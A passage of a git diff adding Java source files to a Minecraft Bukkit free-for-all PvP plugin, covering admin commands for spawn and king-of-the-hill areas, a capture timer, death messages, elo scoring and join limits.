"&6&lSeason Dominators &7&o(elo)")); + Bukkit.broadcastMessage(""); + + int counter = 0; + for (Map.Entry kills : FFA.getPlugin().getProfileManager().getSortedValues("elo", Sorts.descending("elo"), Filters.gte("elo", 1), 5).entrySet()) { + Profile profile = new Profile(kills.getKey()); + + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6&l" + (counter + 1) + ". &e" + profile.getName() + "&7: &f" + profile.getElo())); + counter++; + } + + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&7&m-------------------------")); + nig = 1; + } + }, 0L, 27 * 64 * 2L); + + Bukkit.getScheduler().runTaskTimerAsynchronously(FFA.getPlugin(), () -> { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', getRandomAnnouncement())); + }, 0L, 25 * 2 * 60L); + } + + public String getRandomAnnouncement() { + return (String) getInformation().getAnnounces().toArray()[new Random().nextInt(getInformation().getAnnounces().size())]; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/commands/InformationCommand.java b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/InformationCommand.java new file mode 100644 index 0000000..3bdd121 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/InformationCommand.java @@ -0,0 +1,19 @@ +package me.javaee.ffa.information.commands; + +import me.javaee.ffa.information.commands.argments.*; +import me.javaee.ffa.utils.command.ExecutableCommand; + +public class InformationCommand extends ExecutableCommand { + public InformationCommand() { + super("information", null, "info", "bunkers"); + + addArgument(new SetSpawnArgument()); + addArgument(new SetKothAreaArgument()); + addArgument(new StartKothArgument()); + addArgument(new SetSpawnAreaArgument()); + addArgument(new SetRecordingArgument()); + addArgument(new StopKothArgument()); + addArgument(new AnnouncesArgument()); + addArgument(new ForceCheckLeaderboardsArgument()); + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/AnnouncesArgument.java b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/AnnouncesArgument.java new file mode 100644 index 0000000..ce7e68a --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/AnnouncesArgument.java @@ -0,0 +1,50 @@ +package me.javaee.ffa.information.commands.argments; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.utils.JavaUtils; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.command.CommandArgument; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class AnnouncesArgument extends CommandArgument { + public AnnouncesArgument() { + super("announces", null, "broadcasts"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName() + " "; + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length <= 2) { + player.sendMessage(getUsage(label)); + return true; + } + + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (args[1].equalsIgnoreCase("remove")) { + if (JavaUtils.isInteger(args[2])) { + player.sendMessage(ChatColor.RED + "You have deleted: " + ChatColor.translateAlternateColorCodes('&', information.getAnnounces().get(Integer.parseInt(args[2])))); + information.getAnnounces().remove(information.getAnnounces().get(Integer.parseInt(args[2]))); + } else { + player.sendMessage(ChatColor.RED + "You need to specify an index."); + } + } else if (args[1].equalsIgnoreCase("add")) { + information.getAnnounces().add(StringUtils.join(args, " ", 2, args.length)); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have added&7: " + StringUtils.join(args, " ", 2, args.length))); + } + + information.save(); + } + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/ForceCheckLeaderboardsArgument.java b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/ForceCheckLeaderboardsArgument.java new file mode 100644 index 0000000..fa78a89 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/ForceCheckLeaderboardsArgument.java @@ -0,0 +1,36 @@ +package me.javaee.ffa.information.commands.argments; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.utils.JavaUtils; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.command.CommandArgument; +import org.apache.commons.lang.StringUtils; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class ForceCheckLeaderboardsArgument extends CommandArgument { + public ForceCheckLeaderboardsArgument() { + super("forcecheckleaderboard", null, "fclb"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + FFA.getPlugin().getTopsManager().check(); + } + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetKothAreaArgument.java b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetKothAreaArgument.java new file mode 100644 index 0000000..7a31842 --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetKothAreaArgument.java @@ -0,0 +1,55 @@ +package me.javaee.ffa.information.commands.argments; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.command.CommandArgument; +import me.javaee.ffa.wand.Wand; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetKothAreaArgument extends CommandArgument { + public SetKothAreaArgument() { + super("setkotharea", null, "area"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + Wand wand = FFA.getPlugin().getWandManager().getWand(player); + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (wand == null || wand.getFirstLocation() == null || wand.getSecondLocation() == null) { + player.sendMessage(ChatColor.RED + "You must have wand locations."); + return true; + } + + information.setKothFirstLocation(LocationUtils.getString(wand.getFirstLocation())); + information.setKothSecondLocation(LocationUtils.getString(wand.getSecondLocation())); + information.save(); + + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + profile.getFirstPillar().removePillar(); + profile.setFirstPillar(null); + + profile.getSecondPillar().removePillar(); + profile.setSecondPillar(null); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved the koth coordinates.")); + } + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetRecordingArgument.java b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetRecordingArgument.java new file mode 100644 index 0000000..1524d6a --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetRecordingArgument.java @@ -0,0 +1,39 @@ +package me.javaee.ffa.information.commands.argments; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.command.CommandArgument; +import me.javaee.ffa.wand.Wand; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetRecordingArgument extends CommandArgument { + public SetRecordingArgument() { + super("setrecording", null); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + Information information = FFA.getPlugin().getInformationManager().getInformation(); + information.setRecording(!information.isRecording()); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eThe recording feature is now: " + information.isRecording())); + } + return true; + } +} \ No newline at end of file diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetSpawnAreaArgument.java b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetSpawnAreaArgument.java new file mode 100644 index 0000000..d7a7b9b --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetSpawnAreaArgument.java @@ -0,0 +1,55 @@ +package me.javaee.ffa.information.commands.argments; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.command.CommandArgument; +import me.javaee.ffa.wand.Wand; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetSpawnAreaArgument extends CommandArgument { + public SetSpawnAreaArgument() { + super("setspawnarea", null); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + Wand wand = FFA.getPlugin().getWandManager().getWand(player); + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (wand == null || wand.getFirstLocation() == null || wand.getSecondLocation() == null) { + player.sendMessage(ChatColor.RED + "You must have wand locations."); + return true; + } + + information.setLobbyFirst(LocationUtils.getString(wand.getFirstLocation())); + information.setLobbySecond(LocationUtils.getString(wand.getSecondLocation())); + information.save(); + + Profile profile = FFA.getPlugin().getProfileManager().getProfile(player); + profile.getFirstPillar().removePillar(); + profile.setFirstPillar(null); + + profile.getSecondPillar().removePillar(); + profile.setSecondPillar(null); + + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved the spawn coordinates.")); + } + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetSpawnArgument.java b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetSpawnArgument.java new file mode 100644 index 0000000..03838cb --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/SetSpawnArgument.java @@ -0,0 +1,38 @@ +package me.javaee.ffa.information.commands.argments; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.command.CommandArgument; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class SetSpawnArgument extends CommandArgument { + public SetSpawnArgument() { + super("setspawn", null, "setspawnlocation"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + information.setLobbyLocation(LocationUtils.getString(player.getLocation().add(0.5, 0.5, 0.5))); + player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&eYou have saved the spawn coordinates.")); + information.save(); + } + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/StartKothArgument.java b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/StartKothArgument.java new file mode 100644 index 0000000..cbc7bac --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/StartKothArgument.java @@ -0,0 +1,45 @@ +package me.javaee.ffa.information.commands.argments; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.command.CommandArgument; +import me.javaee.ffa.wand.Wand; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class StartKothArgument extends CommandArgument { + public StartKothArgument() { + super("startkoth", null, "start"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (information.isKothStarted()) { + player.sendMessage(ChatColor.RED + "The koth is already enabled."); + return true; + } + + information.setKothStarted(true); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6[KingOfTheHill] &eThe &9Koth &ecan now be contested. &7(10:00)")); + } + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/StopKothArgument.java b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/StopKothArgument.java new file mode 100644 index 0000000..9a8e30a --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/information/commands/argments/StopKothArgument.java @@ -0,0 +1,42 @@ +package me.javaee.ffa.information.commands.argments; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.utils.command.CommandArgument; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.command.Command; +import org.bukkit.command.CommandSender; +import org.bukkit.entity.Player; + +public class StopKothArgument extends CommandArgument { + public StopKothArgument() { + super("stopkoth", null, "stop"); + } + + @Override public String getUsage(String label) { + return ChatColor.RED + "/" + label + " " + getName(); + } + + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { + if (sender instanceof Player) { + Player player = (Player) sender; + + if (args.length != 1) { + player.sendMessage(getUsage(label)); + return true; + } + + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (!information.isKothStarted()) { + player.sendMessage(ChatColor.RED + "The koth isn't enabled."); + return true; + } + + information.setKothStarted(false); + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6[KingOfTheHill] &eThe &9Koth &ehas been shut down. &7(10:00)")); + } + return true; + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/koth/Koth.java b/FreeForAll/src/main/java/me/javaee/ffa/koth/Koth.java new file mode 100644 index 0000000..37a681a --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/koth/Koth.java @@ -0,0 +1,68 @@ +package me.javaee.ffa.koth; + +import lombok.Getter; +import lombok.Setter; +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.utils.BukkitUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.GameMode; +import org.bukkit.Location; +import org.bukkit.entity.Player; +import org.bukkit.event.Listener; +import org.bukkit.scheduler.BukkitRunnable; + +@Getter @Setter +public class Koth implements Listener { + private Information information = FFA.getPlugin().getInformationManager().getInformation(); + private int seconds = 150; + private int capSeconds = 150; + private Player controller; + + public Koth() { + new BukkitRunnable() { + @Override public void run() { + if (!information.isKothStarted()) return; + + if (getCapSeconds() <= 0) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6[KingOfTheHill] &eThe &9Koth &ehas been captured by &c" + controller.getName() + "&e.")); + + setController(null); + setCapSeconds(seconds); + information.setKothStarted(false); + cancel(); + return; + } + + for (Player player : Bukkit.getOnlinePlayers()) { + if (player.isFlying() || player.getGameMode() != GameMode.SURVIVAL) return; + + if (isInsideArea(player.getLocation())) { + if (getController() == null) { + setController(player); + } + + if (getCapSeconds() % 60 == 0 && getCapSeconds() != 150) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6[KingOfTheHill] &eSomeone is trying to control the &9Koth&e. &7(" + BukkitUtils.niceTime(getCapSeconds(), false) + ")")); + } + } else { + if (getController() == player) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&6[KingOfTheHill] &eSomeone has been knocked off the &9Koth&e. &7(" + BukkitUtils.niceTime(getCapSeconds(), false) + ")")); + setController(null); + setCapSeconds(getSeconds()); + } + } + } + + if (getController() != null) { + setCapSeconds(getCapSeconds() - 1); + } + } + }.runTaskTimer(FFA.getPlugin(), 20L, 20L); + } + + public boolean isInsideArea(Location location) { + return FFA.getPlugin().getInformationManager().getInformation().getKothCuboid().contains(location); + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/listeners/DeathMessageListener.java b/FreeForAll/src/main/java/me/javaee/ffa/listeners/DeathMessageListener.java new file mode 100644 index 0000000..126857c --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/listeners/DeathMessageListener.java @@ -0,0 +1,68 @@ +package me.javaee.ffa.listeners; + +import com.google.common.base.Preconditions; +import me.javaee.ffa.FFA; +import net.minecraft.server.v1_8_R3.EntityLiving; +import org.apache.commons.lang.WordUtils; +import org.bukkit.ChatColor; +import org.bukkit.craftbukkit.v1_8_R3.entity.CraftEntity; +import org.bukkit.craftbukkit.v1_8_R3.entity.CraftPlayer; +import org.bukkit.entity.Entity; +import org.bukkit.entity.Player; +import org.bukkit.event.EventHandler; +import org.bukkit.event.EventPriority; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.PlayerDeathEvent; + +public class DeathMessageListener implements Listener { + private final FFA plugin; + + public DeathMessageListener(final FFA plugin) { + this.plugin = plugin; + } + + public static String replaceLast(final String text, final String regex, final String replacement) { + return text.replaceFirst("(?s)" + regex + "(?!.*?" + regex + ')', replacement); + } + + @EventHandler(ignoreCancelled = true, priority = EventPriority.HIGHEST) + public void onPlayerDeath(final PlayerDeathEvent event) { + final String message = event.getDeathMessage(); + if (message == null || message.isEmpty()) { + return; + } + + event.setDeathMessage(getDeathMessage(message, event.getEntity(), getKiller(event))); + } + + private CraftEntity getKiller(final PlayerDeathEvent event) { + final EntityLiving lastAttacker = ((CraftPlayer) event.getEntity()).getHandle().lastDamager; + return (lastAttacker == null) ? null : lastAttacker.getBukkitEntity(); + } + + private String getDeathMessage(String input, final Entity entity, final Entity killer) { + input = input.replaceFirst("\\[", ""); + input = replaceLast(input, "]", ""); + if (entity != null) { + input = input.replaceFirst("(?i)" + this.getEntityName(entity), ChatColor.RED + this.getDisplayName(entity) + ChatColor.YELLOW); + } + if (killer != null && (entity == null || !killer.equals(entity))) { + input = input.replaceFirst("(?i)" + this.getEntityName(killer), ChatColor.RED + this.getDisplayName(killer) + ChatColor.YELLOW); + } + return input; + } + + private String getEntityName(final Entity entity) { + Preconditions.checkNotNull((Object) entity, "Entity cannot be null"); + return (entity instanceof Player) ? ((Player) entity).getName() : ((CraftEntity) entity).getHandle().getName(); + } + + private String getDisplayName(final Entity entity) { + Preconditions.checkNotNull((Object) entity, "Entity cannot be null"); + if (entity instanceof Player) { + final Player player = (Player) entity; + return player.getName() + ChatColor.GRAY + '[' + ChatColor.WHITE + (FFA.getPlugin().getProfileManager().getProfile(player.getUniqueId()).getKills()) + ChatColor.GRAY + ']'; + } + return WordUtils.capitalizeFully(entity.getType().name().replace('_', ' ')); + } +} diff --git a/FreeForAll/src/main/java/me/javaee/ffa/listeners/PlayerListeners.java b/FreeForAll/src/main/java/me/javaee/ffa/listeners/PlayerListeners.java new file mode 100644 index 0000000..b2d1b6d --- /dev/null +++ b/FreeForAll/src/main/java/me/javaee/ffa/listeners/PlayerListeners.java @@ -0,0 +1,250 @@ +package me.javaee.ffa.listeners; + +import me.javaee.ffa.FFA; +import me.javaee.ffa.information.Information; +import me.javaee.ffa.profiles.Profile; +import me.javaee.ffa.profiles.status.PlayerStatus; +import me.javaee.ffa.utils.ItemBuilder; +import me.javaee.ffa.utils.LocationUtils; +import me.javaee.ffa.utils.SerializationUtils; +import org.bukkit.Bukkit; +import org.bukkit.ChatColor; +import org.bukkit.Location; +import org.bukkit.Material; +import org.bukkit.entity.*; +import org.bukkit.event.EventHandler; +import org.bukkit.event.Listener; +import org.bukkit.event.entity.*; +import org.bukkit.event.player.*; +import org.bukkit.inventory.ItemStack; +import org.bukkit.potion.PotionEffect; +import org.bukkit.potion.PotionEffectType; +import org.bukkit.scheduler.BukkitRunnable; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Random; + +public class PlayerListeners implements Listener { + + @EventHandler + public void playerJoinEvent(PlayerJoinEvent event) { + Player player = event.getPlayer(); + + player.teleport(LocationUtils.getLocation(FFA.getPlugin().getInformationManager().getInformation().getLobbyLocation()).add(-.5, 0, -.5)); + + player.setFoodLevel(20); + player.setHealth(20); + player.setNoDamageTicks(19); + player.setSaturation(14); + player.getInventory().clear(); + player.getInventory().setArmorContents(null); + event.setJoinMessage(null); + SerializationUtils.setKitToPlayer(player); + } + + @EventHandler + public void onSpawn(EntitySpawnEvent event) { + if (event.getEntity() instanceof Item || event.getEntity() instanceof Player || event.getEntity() instanceof Villager) { + event.setCancelled(false); + } else { + event.setCancelled(true); + } + } + + @EventHandler + public void onConsume(PlayerItemConsumeEvent event) { + ItemStack itemStack = event.getItem(); + + if (itemStack.getItemMeta() != null && itemStack.getItemMeta().getDisplayName() != null) { + if (itemStack.getItemMeta().getDisplayName().equalsIgnoreCase(ChatColor.GOLD.toString() + ChatColor.BOLD + "Golden Head")) { + + event.getPlayer().removePotionEffect(PotionEffectType.REGENERATION); + event.getPlayer().addPotionEffect(new PotionEffect(PotionEffectType.REGENERATION, 200, 1)); + } + } + } + + @EventHandler + public void onSaturation(FoodLevelChangeEvent event) { + event.setFoodLevel(20); + } + + @EventHandler + public void onDeath(PlayerDeathEvent event) { + Player player = event.getEntity(); + + FFA.getPlugin().getProfileManager().getProfile(player).setDeaths(FFA.getPlugin().getProfileManager().getProfile(player).getDeaths() + 1); + Bukkit.getScheduler().runTaskAsynchronously(FFA.getPlugin(), () -> { + FFA.getPlugin().getProfileManager().getProfile(player).save(); + }); + + event.getDrops().clear(); + event.getDrops().add(new ItemBuilder(Material.GOLDEN_APPLE).setDisplayName("&6&lGolden Head").create()); + event.getDrops().add(new ItemStack(Material.ARROW, 4)); + + if (player.getKiller() != null) { + FFA.getPlugin().getProfileManager().getProfile(event.getEntity().getKiller()).setKills(FFA.getPlugin().getProfileManager().getProfile(event.getEntity().getKiller()).getKills() + 1); + + if (!player.getKiller().getInventory().containsAtLeast(new ItemStack(Material.GOLDEN_APPLE), 6)) { + event.getDrops().add(new ItemStack(Material.GOLDEN_APPLE, 2)); + } + } + + if (player.getKiller() != null) { + FFA.getPlugin().getProfileManager().getProfile(player.getKiller()).setKillstreak(FFA.getPlugin().getProfileManager().getProfile(player.getKiller()).getKillstreak() + 1); + + int winnerElo = FFA.getPlugin().getProfileManager().getProfile(player.getKiller()).getElo(); + int loserElo = FFA.getPlugin().getProfileManager().getProfile(player).getElo(); + + int winnerNewElo = (FFA.getPlugin().getProfileManager().getProfile(player.getKiller()).getNewRating(winnerElo, loserElo, 1)); + int loserNewElo = FFA.getPlugin().getProfileManager().getProfile(player).getNewRating(loserElo, winnerElo, 0); + + winnerNewElo = winnerNewElo - winnerElo >= 0 ? winnerNewElo : new Random().nextInt(5) + 1; + + FFA.getPlugin().getProfileManager().getProfile(player.getKiller()).setElo(winnerNewElo); + FFA.getPlugin().getProfileManager().getProfile(player).setElo(loserNewElo); + FFA.getPlugin().getProfileManager().getProfile(player).setKillstreak(0); + + player.getKiller().sendMessage(ChatColor.GREEN + "You now have " + winnerNewElo + ". " + ChatColor.GRAY + "(+" + (winnerNewElo - winnerElo) + ")"); + player.sendMessage(ChatColor.RED + "You now have " + loserNewElo + ". " + ChatColor.GRAY + "(-" + (loserElo - loserNewElo) + ")"); + + if (winnerNewElo % 1000 == 0 && winnerNewElo != 1000) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&a" + player.getKiller().getName() + "&e ha alcanzado los &a" + winnerNewElo + "&e de elo!")); + } + + if (FFA.getPlugin().getProfileManager().getProfile(player.getKiller()).getKillstreak() % 5 == 0) { + Bukkit.broadcastMessage(ChatColor.translateAlternateColorCodes('&', "&7[&6&lSilex FFA&7] &f" + player.getKiller().getName() + " &6has reached a killstreak of &f" + FFA.getPlugin().getProfileManager().getProfile(player.getKiller()).getKillstreak() + "&6.")); + + player.getKiller().getInventory().addItem(new ItemBuilder(Material.FLINT_AND_STEEL).setDurability((short) 60).create()); + if (player.getKiller().getInventory().contains(Material.QUARTZ_BLOCK)) { + player.getKiller().getInventory().addItem(new ItemStack(Material.QUARTZ_BLOCK, 64)); + } + + for (ItemStack item : player.getKiller().getInventory().getArmorContents()) { + if (item != null) item.setDurability((short) 0); + } + } + + Bukkit.getScheduler().runTaskAsynchronously(FFA.getPlugin(), () -> { + FFA.getPlugin().getProfileManager().getProfile(player).save(); + FFA.getPlugin().getProfileManager().getProfile(player.getKiller()).save(); + }); + } + + if (FFA.getPlugin().getInformationManager().getInformation().getLobbyCuboid().contains(player.getLocation())) event.getDrops().clear(); + + autoRespawn(event); + } + + private void autoRespawn(PlayerDeathEvent event) { + new BukkitRunnable() { + public void run() { + try { + Object nmsPlayer = event.getEntity().getClass().getMethod("getHandle", new Class[0]).invoke(event.getEntity(), new Object[0]); + Object con = nmsPlayer.getClass().getDeclaredField("playerConnection").get(nmsPlayer); + Class EntityPlayer = Class.forName(nmsPlayer.getClass().getPackage().getName() + ".EntityPlayer"); + Field minecraftServer = con.getClass().getDeclaredField("minecraftServer"); + minecraftServer.setAccessible(true); + Object mcserver = minecraftServer.get(con); + Object playerlist = mcserver.getClass().getDeclaredMethod("getPlayerList", new Class[0]).invoke(mcserver, new Object[0]); + Method moveToWorld = playerlist.getClass().getMethod("moveToWorld", EntityPlayer, Integer.TYPE, Boolean.TYPE); + moveToWorld.invoke(playerlist, nmsPlayer, 0, false); + } catch (Exception ex) { + ex.printStackTrace(); + } + } + }.runTaskLater(FFA.getPlugin(), 5); + } + + @EventHandler + public void onRespawn(PlayerRespawnEvent event) { + event.setRespawnLocation(LocationUtils.getLocation(FFA.getPlugin().getInformationManager().getInformation().getLobbyLocation()).add(-.5, 0, -.5)); + SerializationUtils.setKitToPlayer(event.getPlayer()); + } + + @EventHandler + public void onDrop(PlayerDropItemEvent event) { + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (information.getLobbyCuboid().contains(event.getPlayer().getLocation())) { + event.setCancelled(true); + } + } + + @EventHandler + public void onDamage(EntityDamageEvent event) { + if (event.getEntity() instanceof Player) { + Information information = FFA.getPlugin().getInformationManager().getInformation(); + + if (information.getLobbyCuboid().contains(event.getEntity().getLocation())) { + event.setCancelled(true); + } + + if (event.getEntity().getFallDistance() > 50) { + event.setCancelled(true); + } + } + } + + @EventHandler(ignoreCancelled = true) + public void DamageEvent(EntityDamageByEntityEvent event) { + if ((event.getDamager() instanceof Arrow)) { + Arrow arrow = (Arrow) event.getDamager(); + if ((arrow.getShooter() instanceof Player)) { + Player shooter = (Player) arrow.getShooter(); + + Damageable damageable = (Damageable) event.getEntity(); + if ((damageable instanceof Player)) { + Player victim = (Player) damageable; + double victimHealth = damageable.getHealth(); + int damage = (int) event.getFinalDamage(); + + if (!damageable.isDead()) { + int health = (int) (victimHealth - damage); + + if (health > 0) { + shooter.sendMessage(ChatColor.translateAlternateColorCodes('&', "&6" + victim.getName() + " &eis now at &c" + health + "โค")); + } + } + } + } + } + } + + @EventHandler + public void onAsync(PlayerLoginEvent event) { + Player player = event.getPlayer(); + + long onlinePlayers = Bukkit.getOnlinePlayers().stream().filter(online -> !online.hasPermission("batman.rank.join")).count(); + + if (onlinePlayers > 60 && !player.hasPermission("batman.rank.join")) { + event.disallow(PlayerLoginEvent.Result.KICK_FULL, ChatColor.translateAlternateColorCodes('&', "&cLo siento, no puedes entrar a la modalidad debido a que hay una restricciรณn de usuarios &7&o(Compra un rango en &7tienda.silexpvp.net&o)&e.")); + } + } + + @EventHandler + public void onMove(PlayerMoveEvent event) { + Location from = event.getFrom(); + Location to = event.getTo(); + if (from.getBlockX() != to.getBlockX() || from.getBlockZ() != to.getBlockZ()) { + Profile profile = FFA.getPlugin().getProfileManager().getProfile(event.getPlayer().getUniqueId()); + if (profile.getPlayerStatus() == PlayerStatus.FROZEN) { + Player player = event.getPlayer(); + + player.sendMessage(""); + player.sendMessage(ChatColor.WHITE + "โ–ˆโ–ˆโ–ˆโ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.WHITE + "โ–ˆโ–ˆโ–ˆโ–ˆ"); + player.sendMessage(ChatColor.WHITE + "โ–ˆโ–ˆโ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.GOLD + "โ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.WHITE + "โ–ˆโ–ˆโ–ˆ" + ChatColor.DARK_RED + ChatColor.BOLD + " ATTENTION!"); + player.sendMessage(ChatColor.WHITE + "โ–ˆโ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.GOLD + "โ–ˆ" + ChatColor.BLACK + "โ–ˆ" + ChatColor.GOLD + "โ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.WHITE + "โ–ˆโ–ˆ"); + player.sendMessage(ChatColor.WHITE + "โ–ˆโ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.GOLD + "โ–ˆ" + ChatColor.BLACK + "โ–ˆ" + ChatColor.GOLD + "โ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.WHITE + "โ–ˆโ–ˆ" + ChatColor.RED + " You have been frozen by an Staff Member."); + player.sendMessage(ChatColor.WHITE + "โ–ˆ" + ChatColor.RED + "โ–ˆ" + ChatColor.GOLD + "โ–ˆโ–ˆ" + ChatColor.BLACK + 